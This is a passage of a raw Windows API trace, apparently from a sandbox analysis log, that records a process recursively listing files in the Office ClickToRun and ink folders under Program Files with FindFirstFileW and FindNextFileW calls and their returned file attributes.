lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0136.152] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0136.152] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml", cAlternateFileName="C2RHEA~1.XML")) returned 1 [0136.152] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1 [0136.152] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0136.152] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1 [0136.152] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1 [0136.153] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0136.153] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1 [0136.153] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0136.153] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0136.153] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0136.153] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0136.153] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0136.153] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0136.153] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0136.177] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0136.177] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0136.177] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1 [0136.177] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1 [0136.178] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0136.178] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml", cAlternateFileName="SERVIC~1.XML")) returned 1 [0136.178] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1 [0136.178] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0136.178] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0136.178] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0136.178] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0136.179] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0136.179] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.179] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0136.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ab88 [0136.179] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.179] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0136.179] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0136.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0136.181] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.181] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.181] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.181] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0136.182] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.182] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0136.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b308 [0136.182] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.182] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.182] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.182] FindClose (in: hFindFile=0x69b308 | out: hFindFile=0x69b308) returned 1 [0136.182] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.182] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0136.182] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0136.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b208 [0136.182] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 